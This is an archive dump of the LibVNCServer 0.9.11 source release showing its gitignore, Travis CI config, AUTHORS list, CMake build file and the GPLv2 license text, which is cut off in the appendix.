libvncserver-LibVNCServer-0.9.11/000077500000000000000000000000001303145525000165465ustar00rootroot00000000000000libvncserver-LibVNCServer-0.9.11/.gitignore000066400000000000000000000024051303145525000205370ustar00rootroot00000000000000*.swp *~ Makefile Makefile.in compile configure configure.lineno config.status config.log LibVNCServer.spec.in LibVNCServer.spec x11vnc.spec.in .deps .libs aclocal.m4 autom4te.cache libvncserver-config *.pc _configs.sed config.h LibVNCServer*.tar.gz upload_beta.sh stamp-* x11vnc*.tar.gz config.h.in rfbconfig.h rfbconfig.h.in install-sh missing mkinstalldirs depcomp description-pak libvncserver*.deb *.o *.lo CVS client_examples/SDLvncviewer client_examples/backchannel client_examples/gtkvncviewer client_examples/ppmtest config.guess config.sub examples/zippy examples/backchannel examples/blooptest examples/camera examples/colourmaptest examples/example examples/filetransfer examples/fontsel examples/mac examples/pnmshow examples/pnmshow24 examples/regiontest examples/repeater examples/rotate examples/simple examples/simple15 examples/storepasswd examples/vncev libtool libvncclient/libvncclient.la libvncserver/libvncserver.la test/blooptest test/cargstest test/copyrecttest test/cursortest test/encodingstest /test/tjbench /test/tjunittest vncterm/LinuxVNC vncterm/VNCommand vncterm/example /vncterm/linuxvnc /vncterm/vncommand x11vnc.spec x11vnc/x11vnc CMakeCache.txt cmake_install.cmake /CMakeFiles /rfbproto.pdf /rfbproto.rst /vencrypt.txt /INSTALL .dirstamp /ltmain.sh libvncserver-LibVNCServer-0.9.11/.travis.yml000066400000000000000000000004611303145525000206600ustar00rootroot00000000000000language: c os: - linux - osx compiler: - gcc - clang before_install: - 'if [[ "$TRAVIS_OS_NAME" == "osx" ]]; then export CFLAGS="-I/usr/local/opt/openssl/include $CFLAGS" LDFLAGS="-L/usr/local/opt/openssl/lib $LDFLAGS"; fi' # before build script, run autoreconf before_script: autoreconf -fivlibvncserver-LibVNCServer-0.9.11/AUTHORS000066400000000000000000000043341303145525000176220ustar00rootroot00000000000000* LibVNCServer (C) 2001 Johannes E. Schindelin is based on * Original OSXvnc (C) 2001 Dan McGuirk , which in turn is based on * Original Xvnc (C) 1999 AT&T Laboratories Cambridge. Lots of improvements of this library are thanks to * TightVNC (C) 2000-2003 Const Kaplinsky The ZRLE compression scheme is from * RealVNC (James "Wez" Weatherall, who helped also with regions) The good folks from * KRFB (I think it was Tim Jansen) helped also a lot (some *big* bugs!). Karl Runge provides an x11vnc, which is a much, much improved version of my original proof-of-concept. It really deserves to replace the old version, as it is a state-of-the-art, fast and usable program by now! However, he maintains it and improves it still in amazing ways! The file transfer protocol from TightVNC was implemented by Rohit Kumar. This includes an implementation of RFB protocol version 3.7t. Occasional important patches were sent by (in order I found the names in my archives and please don't beat me, if I forgot you, but just send me an email!): Akira Hatakeyama, Karl J. Runge, Justin "Zippy" Dearing, Oliver Mihatsch, Greg Sternberg, Werner Hofer, Giampiero Giancipoli, Glenn Mabutt, Paul Kreiner, Erik Kunze, Mike Frysinger, Martin Waitz, Mark McLoughlin, Paul Fox, Juan Jose Costello, Andre Leiadella, Alberto Lusiani, Malvina Mazin, Dave Stuart, Rohit Kumar, Donald Dugger, Steven Carr, Uwe Völker, Charles Coffing, Guillaume Rousse, Alessandro Praduroux, Brad Hards, Timo Ketola, Christian Ehrlicher, Noriaki Yamazaki, Ben Klopfenstein, Vic Lee, Christian Beier, Alexander Dorokhine, Corentin Chary, Wouter Van Meir, George Kiagiadakis, Joel Martin, Gernot Tenchio, William Roberts, Cristian Rodríguez, George Fleury, Kan-Ru Chen, Steve Guo, Luca Stauble, Peter Watkins, Kyle J. McKay, Mateus Cesar Groess, Philip Van Hoof, D. R. Commander, Rostislav Lisovy, Oliver Loch, Raphael Kubo da Costa, Amandeep Singh, Brian Bidulock, Daniel Cohen Gindi, David Verbeiren, Luca Falavigna, Matthias Treydte, Nicolas Ruff, Robbert Klarenbeek and Floris Bos. Probably I forgot quite a few people sending a patch here and there, which really made a difference. Without those, some obscure bugs still would be unfound. libvncserver-LibVNCServer-0.9.11/CMakeLists.txt000066400000000000000000000301471303145525000213130ustar00rootroot00000000000000cmake_minimum_required(VERSION 2.6) cmake_policy(SET CMP0037 NEW) project(LibVNCServer) include(CheckFunctionExists) include(CheckIncludeFile) include(CheckTypeSize) include(TestBigEndian) include(CheckCSourceCompiles) include(CheckCXXSourceCompiles) include(CheckCSourceRuns) set(PACKAGE_NAME "LibVNCServer") set(FULL_PACKAGE_NAME "LibVNCServer") set(VERSION_MAJOR "0") set(VERSION_MINOR "9") set(VERSION_PATCHLEVEL "11") set(VERSION_SO "0") set(PACKAGE_VERSION "${VERSION_MAJOR}.${VERSION_MINOR}.${VERSION_PATCHLEVEL}") set(PROJECT_BUGREPORT_PATH "http://sourceforge.net/projects/libvncserver") set(CMAKE_C_FLAGS "-O2 -W -Wall -g") set(LIBVNCSERVER_DIR ${CMAKE_CURRENT_SOURCE_DIR}/libvncserver) set(COMMON_DIR ${CMAKE_CURRENT_SOURCE_DIR}/common) set(LIBVNCCLIENT_DIR ${CMAKE_CURRENT_SOURCE_DIR}/libvncclient) set(LIBVNCSRVTEST_DIR ${CMAKE_CURRENT_SOURCE_DIR}/examples) set(LIBVNCCLITEST_DIR ${CMAKE_CURRENT_SOURCE_DIR}/client_examples) include_directories(${CMAKE_CURRENT_SOURCE_DIR} ${CMAKE_CURRENT_BINARY_DIR} ${CMAKE_CURRENT_SOURCE_DIR}/libvncserver ${CMAKE_CURRENT_SOURCE_DIR}/common) find_package(ZLIB) find_package(JPEG) find_package(PNG) find_package(SDL) find_package(GnuTLS) find_package(Threads) find_package(X11) find_package(OpenSSL) find_package(PkgConfig) find_library(LIBGCRYPT_LIBRARIES gcrypt) # Check whether the version of libjpeg we found was libjpeg-turbo and print a # warning if not. set(CMAKE_REQUIRED_LIBRARIES ${JPEG_LIBRARIES}) set(CMAKE_REQUIRED_FLAGS -I${JPEG_INCLUDE_DIR}) set(JPEG_TEST_SOURCE "\n #include \n #include \n int main(void) {\n struct jpeg_compress_struct cinfo;\n struct jpeg_error_mgr jerr;\n cinfo.err=jpeg_std_error(&jerr);\n jpeg_create_compress(&cinfo);\n cinfo.input_components = 3;\n jpeg_set_defaults(&cinfo);\n cinfo.in_color_space = JCS_EXT_RGB;\n jpeg_default_colorspace(&cinfo);\n return 0;\n }") if(CMAKE_CROSSCOMPILING) check_c_source_compiles("${JPEG_TEST_SOURCE}" FOUND_LIBJPEG_TURBO) else() check_c_source_runs("${JPEG_TEST_SOURCE}" FOUND_LIBJPEG_TURBO) endif() set(CMAKE_REQUIRED_LIBRARIES) set(CMAKE_REQUIRED_FLAGS) set(CMAKE_REQUIRED_DEFINITIONS) if(NOT FOUND_LIBJPEG_TURBO) message(WARNING "*** The libjpeg library you are building against is not libjpeg-turbo. Performance will be reduced. You can obtain libjpeg-turbo from: https://sourceforge.net/projects/libjpeg-turbo/files/ ***") endif() # On systems such as GNU/Linux with glibc, __b64_ntop is defined in a # separate library, libresolv. On some others, such as FreeBSD, it is # part of libc itself. We first check if __b64_ntop is found without # additional libraries, and then try looking for it with libresolv if # the first test fails. check_function_exists(__b64_ntop HAVE_B64_IN_LIBC) if(NOT HAVE_B64_IN_LIBC) set(CMAKE_REQUIRED_LIBRARIES resolv) check_function_exists(__b64_ntop HAVE_B64_IN_LIBRESOLV) set(CMAKE_REQUIRED_LIBRARIES) if(HAVE_B64_IN_LIBRESOLV) set(RESOLV_LIB "resolv") endif(HAVE_B64_IN_LIBRESOLV) endif(NOT HAVE_B64_IN_LIBC) if(Threads_FOUND) option(TIGHTVNC_FILETRANSFER "Enable filetransfer" ON) endif(Threads_FOUND) if(ZLIB_FOUND) set(LIBVNCSERVER_HAVE_LIBZ 1) endif(ZLIB_FOUND) if(JPEG_FOUND) set(LIBVNCSERVER_HAVE_LIBJPEG 1) endif(JPEG_FOUND) if(PNG_FOUND) set(LIBVNCSERVER_HAVE_LIBPNG 1) endif(PNG_FOUND) option(LIBVNCSERVER_ALLOW24BPP "Allow 24 bpp" ON) pkg_check_modules(SYSTEMD "libsystemd") if(SYSTEMD_FOUND) option(LIBVNCSERVER_WITH_SYSTEMD "Build with systemd socket activation support" ON) endif(SYSTEMD_FOUND) if(LIBVNCSERVER_WITH_SYSTEMD) add_definitions(-DLIBVNCSERVER_WITH_SYSTEMD) include_directories(${SYSTEMD_INCLUDE_DIRS}) set(ADDITIONAL_LIBS ${ADDITIONAL_LIBS} ${SYSTEMD_LIBRARIES}) endif(LIBVNCSERVER_WITH_SYSTEMD) if(GNUTLS_FOUND) set(LIBVNCSERVER_WITH_CLIENT_TLS 1) option(LIBVNCSERVER_WITH_WEBSOCKETS "Build with websockets support (gnutls)" ON) set(WEBSOCKET_LIBRARIES ${RESOLV_LIB} ${GNUTLS_LIBRARIES}) set(WSSRCS ${LIBVNCSERVER_DIR}/rfbssl_gnutls ${LIBVNCSERVER_DIR}/rfbcrypto_gnutls) include_directories(${GNUTLS_INCLUDE_DIR}) elseif(OPENSSL_FOUND) option(LIBVNCSERVER_WITH_WEBSOCKETS "Build with websockets support (openssl)" ON) set(WEBSOCKET_LIBRARIES ${RESOLV_LIB} ${OPENSSL_LIBRARIES}) set(WSSRCS ${LIBVNCSERVER_DIR}/rfbssl_openssl ${LIBVNCSERVER_DIR}/rfbcrypto_openssl) include_directories(${OPENSSL_INCLUDE_DIR}) else() option(LIBVNCSERVER_WITH_WEBSOCKETS "Build with websockets support (no ssl)" ON) set(WEBSOCKET_LIBRARIES ${RESOLV_LIB}) set(WSSRCS ${LIBVNCSERVER_DIR}/rfbssl_none.c ${LIBVNCSERVER_DIR}/rfbcrypto_included.c ${COMMON_DIR}/md5.c ${COMMON_DIR}/sha1.c) endif() if(LIBGCRYPT_LIBRARIES) message(STATUS "Found libgcrypt: ${LIBGCRYPT_LIBRARIES}") set(LIBVNCSERVER_WITH_CLIENT_GCRYPT 1) set(ADDITIONAL_LIBS ${ADDITIONAL_LIBS} ${LIBGCRYPT_LIBRARIES}) endif(LIBGCRYPT_LIBRARIES) check_include_file("endian.h" LIBVNCSERVER_HAVE_ENDIAN_H) check_include_file("fcntl.h" LIBVNCSERVER_HAVE_FCNTL_H) check_include_file("netinet/in.h" LIBVNCSERVER_HAVE_NETINET_IN_H) check_include_file("sys/endian.h" LIBVNCSERVER_HAVE_SYS_ENDIAN_H) check_include_file("sys/socket.h" LIBVNCSERVER_HAVE_SYS_SOCKET_H) check_include_file("sys/stat.h" LIBVNCSERVER_HAVE_SYS_STAT_H) check_include_file("sys/time.h" LIBVNCSERVER_HAVE_SYS_TIME_H) check_include_file("sys/types.h" LIBVNCSERVER_HAVE_SYS_TYPES_H) check_include_file("sys/wait.h" LIBVNCSERVER_HAVE_SYS_WAIT_H) check_include_file("unistd.h" LIBVNCSERVER_HAVE_UNISTD_H) # headers needed for check_type_size() check_include_file("vfork.h" LIBVNCSERVER_HAVE_VFORK_H) check_include_file("ws2tcpip.h" LIBVNCSERVER_HAVE_WS2TCPIP_H) check_include_file("arpa/inet.h" HAVE_ARPA_INET_H) check_include_file("stdint.h" HAVE_STDINT_H) check_include_file("stddef.h" HAVE_STDDEF_H) check_include_file("sys/types.h" HAVE_SYS_TYPES_H) check_function_exists(gettimeofday LIBVNCSERVER_HAVE_GETTIMEOFDAY) check_function_exists(vfork LIBVNCSERVER_HAVE_VFORK) check_function_exists(vprintf LIBVNCSERVER_HAVE_VPRINTF) if(LIBVNCSERVER_HAVE_WS2TCPIP_H AND LIBVNCSERVER_HAVE_VPRINTF) option(LIBVNCSERVER_IPv6 "Enable IPv6 Support" ON) endif() if(CMAKE_USE_PTHREADS_INIT) set(LIBVNCSERVER_HAVE_LIBPTHREAD 1) endif(CMAKE_USE_PTHREADS_INIT) if(LIBVNCSERVER_HAVE_SYS_SOCKET_H) # socklen_t list(APPEND CMAKE_EXTRA_INCLUDE_FILES "sys/socket.h") endif(LIBVNCSERVER_HAVE_SYS_SOCKET_H) if(HAVE_ARPA_INET_H) # in_addr_t list(APPEND CMAKE_EXTRA_INCLUDE_FILES "arpa/inet.h") endif(HAVE_ARPA_INET_H) check_type_size(pid_t LIBVNCSERVER_PID_T) check_type_size(size_t LIBVNCSERVER_SIZE_T) check_type_size(socklen_t LIBVNCSERVER_SOCKLEN_T) check_type_size(in_addr_t LIBVNCSERVER_IN_ADDR_T) if(NOT HAVE_LIBVNCSERVER_IN_ADDR_T) set(LIBVNCSERVER_NEED_INADDR_T 1) endif(NOT HAVE_LIBVNCSERVER_IN_ADDR_T) TEST_BIG_ENDIAN(LIBVNCSERVER_WORDS_BIGENDIAN) # TODO: # LIBVNCSERVER_ENOENT_WORKAROUND # inline configure_file(${CMAKE_CURRENT_SOURCE_DIR}/rfb/rfbconfig.h.cmake ${CMAKE_BINARY_DIR}/rfb/rfbconfig.h) set(LIBVNCSERVER_SOURCES ${LIBVNCSERVER_DIR}/main.c ${LIBVNCSERVER_DIR}/rfbserver.c ${LIBVNCSERVER_DIR}/rfbregion.c ${LIBVNCSERVER_DIR}/auth.c ${LIBVNCSERVER_DIR}/sockets.c ${LIBVNCSERVER_DIR}/stats.c ${LIBVNCSERVER_DIR}/corre.c ${LIBVNCSERVER_DIR}/hextile.c ${LIBVNCSERVER_DIR}/rre.c ${LIBVNCSERVER_DIR}/translate.c ${LIBVNCSERVER_DIR}/cutpaste.c ${LIBVNCSERVER_DIR}/httpd.c ${LIBVNCSERVER_DIR}/cursor.c ${LIBVNCSERVER_DIR}/font.c ${LIBVNCSERVER_DIR}/draw.c ${LIBVNCSERVER_DIR}/selbox.c ${COMMON_DIR}/d3des.c ${COMMON_DIR}/vncauth.c ${LIBVNCSERVER_DIR}/cargs.c ${COMMON_DIR}/minilzo.c ${LIBVNCSERVER_DIR}/ultra.c ${LIBVNCSERVER_DIR}/scale.c ) set(LIBVNCCLIENT_SOURCES ${LIBVNCCLIENT_DIR}/cursor.c ${LIBVNCCLIENT_DIR}/listen.c ${LIBVNCCLIENT_DIR}/rfbproto.c ${LIBVNCCLIENT_DIR}/sockets.c ${LIBVNCCLIENT_DIR}/vncviewer.c ${COMMON_DIR}/minilzo.c ) if(GNUTLS_FOUND) set(LIBVNCCLIENT_SOURCES ${LIBVNCCLIENT_SOURCES} ${LIBVNCCLIENT_DIR}/tls_gnutls.c ) elseif(OPENSSL_FOUND) set(LIBVNCCLIENT_SOURCES ${LIBVNCCLIENT_SOURCES} ${LIBVNCCLIENT_DIR}/tls_openssl.c ) else() set(LIBVNCCLIENT_SOURCES ${LIBVNCCLIENT_SOURCES} ${LIBVNCCLIENT_DIR}/tls_none.c ) endif() if(ZLIB_FOUND) add_definitions(-DLIBVNCSERVER_HAVE_LIBZ) include_directories(${ZLIB_INCLUDE_DIR}) set(LIBVNCSERVER_SOURCES ${LIBVNCSERVER_SOURCES} ${LIBVNCSERVER_DIR}/zlib.c ${LIBVNCSERVER_DIR}/zrle.c ${LIBVNCSERVER_DIR}/zrleoutstream.c ${LIBVNCSERVER_DIR}/zrlepalettehelper.c ) endif(ZLIB_FOUND) if(JPEG_FOUND) add_definitions(-DLIBVNCSERVER_HAVE_LIBJPEG) include_directories(${JPEG_INCLUDE_DIR}) set(TIGHT_C ${LIBVNCSERVER_DIR}/tight.c ${COMMON_DIR}/turbojpeg.c) endif(JPEG_FOUND) if(PNG_FOUND) add_definitions(-DLIBVNCSERVER_HAVE_LIBPNG) include_directories(${PNG_INCLUDE_DIR}) set(TIGHT_C ${LIBVNCSERVER_DIR}/tight.c ${COMMON_DIR}/turbojpeg.c) endif(PNG_FOUND) set(LIBVNCSERVER_SOURCES ${LIBVNCSERVER_SOURCES} ${TIGHT_C} ) if(TIGHTVNC_FILETRANSFER) set(LIBVNCSERVER_SOURCES ${LIBVNCSERVER_SOURCES} ${LIBVNCSERVER_DIR}/tightvnc-filetransfer/rfbtightserver.c ${LIBVNCSERVER_DIR}/tightvnc-filetransfer/handlefiletransferrequest.c ${LIBVNCSERVER_DIR}/tightvnc-filetransfer/filetransfermsg.c ${LIBVNCSERVER_DIR}/tightvnc-filetransfer/filelistinfo.c ) endif(TIGHTVNC_FILETRANSFER) if(LIBVNCSERVER_WITH_WEBSOCKETS) add_definitions(-DLIBVNCSERVER_WITH_WEBSOCKETS) set(LIBVNCSERVER_SOURCES ${LIBVNCSERVER_SOURCES} ${LIBVNCSERVER_DIR}/websockets.c ${WSSRCS} ) endif(LIBVNCSERVER_WITH_WEBSOCKETS) add_library(vncclient SHARED ${LIBVNCCLIENT_SOURCES}) add_library(vncserver SHARED ${LIBVNCSERVER_SOURCES}) if(WIN32) set(ADDITIONAL_LIBS ${ADDITIONAL_LIBS} ws2_32) endif(WIN32) target_link_libraries(vncclient ${ADDITIONAL_LIBS} ${ZLIB_LIBRARIES} ${JPEG_LIBRARIES} ${GNUTLS_LIBRARIES} ${OPENSSL_LIBRARIES} ) target_link_libraries(vncserver ${ADDITIONAL_LIBS} ${ZLIB_LIBRARIES} ${JPEG_LIBRARIES} ${PNG_LIBRARIES} ${WEBSOCKET_LIBRARIES} ) SET_TARGET_PROPERTIES(vncclient vncserver PROPERTIES SOVERSION "${VERSION_SO}" VERSION "${PACKAGE_VERSION}" ) # tests set(LIBVNCSERVER_TESTS backchannel camera colourmaptest example fontsel pnmshow pnmshow24 regiontest rotate simple simple15 storepasswd vncev ) if(Threads_FOUND) set(LIBVNCSERVER_TESTS ${LIBVNCSERVER_TESTS} blooptest ) endif(Threads_FOUND) if(TIGHTVNC_FILETRANSFER) set(LIBVNCSERVER_TESTS ${LIBVNCSERVER_TESTS} filetransfer ) endif(TIGHTVNC_FILETRANSFER) if(MACOS) set(LIBVNCSERVER_TESTS ${LIBVNCSERVER_TESTS} mac ) endif(MACOS) set(LIBVNCCLIENT_TESTS backchannel ppmtest ) if(SDL_FOUND) include_directories(${SDL_INCLUDE_DIR}) set(LIBVNCCLIENT_TESTS ${LIBVNCCLIENT_TESTS} SDLvncviewer ) set(SDLvncviewer_EXTRA_SOURCES scrap.c) endif(SDL_FOUND) if(HAVE_FFMPEG) set(LIBVNCCLIENT_TESTS ${LIBVNCCLIENT_TESTS} vnc2mpg ) endif(HAVE_FFMPEG) file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/examples) foreach(test ${LIBVNCSERVER_TESTS}) add_executable(examples_${test} ${LIBVNCSRVTEST_DIR}/${test}.c) target_link_libraries(examples_${test} vncserver ${CMAKE_THREAD_LIBS_INIT}) endforeach(test ${LIBVNCSERVER_TESTS}) file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/client_examples) foreach(test ${LIBVNCCLIENT_TESTS}) add_executable(client_examples_${test} ${LIBVNCCLITEST_DIR}/${test}.c ${LIBVNCCLITEST_DIR}/${${test}_EXTRA_SOURCES} ) target_link_libraries(client_examples_${test} vncclient ${CMAKE_THREAD_LIBS_INIT} ${X11_LIBRARIES} ${SDL_LIBRARY} ${FFMPEG_LIBRARIES}) endforeach(test ${LIBVNCCLIENT_TESTS}) install_targets(/lib vncserver) install_targets(/lib vncclient) install_files(/include/rfb FILES rfb/keysym.h rfb/rfb.h rfb/rfbclient.h rfb/rfbconfig.h rfb/rfbproto.h rfb/rfbregion.h ) libvncserver-LibVNCServer-0.9.11/COPYING000066400000000000000000000431731303145525000176110ustar00rootroot00000000000000 GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS Appendix: How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) 19yy This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) 19yy name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all 